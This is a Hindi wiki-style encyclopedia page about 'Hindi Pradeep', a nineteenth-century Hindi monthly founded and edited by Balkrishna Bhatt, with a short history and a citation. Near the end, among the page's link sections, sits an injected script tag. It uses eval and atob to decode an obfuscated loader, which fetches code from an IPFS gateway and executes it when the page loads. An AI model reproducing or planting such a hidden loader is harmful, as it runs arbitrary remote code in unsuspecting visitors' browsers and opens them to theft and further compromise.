हिंदी प्रदीप

भारत डिस्कवरी प्रस्तुति
Revision as of 12:22, 25 September 2013 by रविन्द्र प्रसाद (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

हिंदी प्रदीप एक मासिक पत्र था, जो 7 सितम्बर, 1877 को प्रथम बार प्रकाशित हुआ। यह पत्र बालकृष्ण भट्ट द्वारा निकाला गया था और इसके सम्पादक बालकृष्ण भट्ट थे और पृष्ठ संख्या 16 थी। इसमें लेखों के अतिरिक्त नाटक भी प्रकाशित होते थे।

  • आचार्य रामचंद्र शुक्ल के अनुसार "'हिंदी प्रदीप' गद्य साहित्य का ढर्रा निकालने के लिए ही" निकाला गया था।
  • कई घोर संकट के बावजूद भी 'हिंदी प्रदीप' 35 वर्षों तक निरंतर निकलता रहा।
  • इस मासिक पत्र का उद्घाटन भारतेंदु जी के हाथों हुआ था।
  • हिंदी प्रदीप का शुरू होना पत्रकारिता की दृष्टि से हिंदी साहित्य के इतिहास में एक क्रांतिकारी घटना थी।
  • इस पत्र ने हिंदी पत्रकारिता को एक नई दिशा प्रदान की। इसका स्वर राष्ट्रीयता, निर्भीकता तथा तेजस्विता का था, अतः अंग्रेज़ सरकार इस पर कड़ी निगरानी रखती थी।
  • पत्र में हिंदी साहित्य और पत्रकारिता पर कई प्रकार की सामग्री रहती थी।
  • 'कविवचन सुधा' के बाद 'हिंदी प्रदीप' ही वह पत्र रह गया था, जो अपने पाठकों में राष्ट्रीय चेतना जागृत कर सका। सामाजिक और राष्ट्रीय समस्याओं पर स्वतंत्र विचार प्रकाशन के कारण यह पत्र अत्यंत महत्त्वपूर्ण हो गया और 'कविवचन सुधा' के बाद इसे ही सबसे अधिक ख्याति मिली।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिंदी साहित्य कोश- धीरेंद्र वर्मा, भाग-2 हिंदी साहित्य का इतिहास (हिंदी)। भारतडिस्कवरी पुस्तकालय: ज्ञानमंडल लिमिटेड, वाराणसी, 678।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः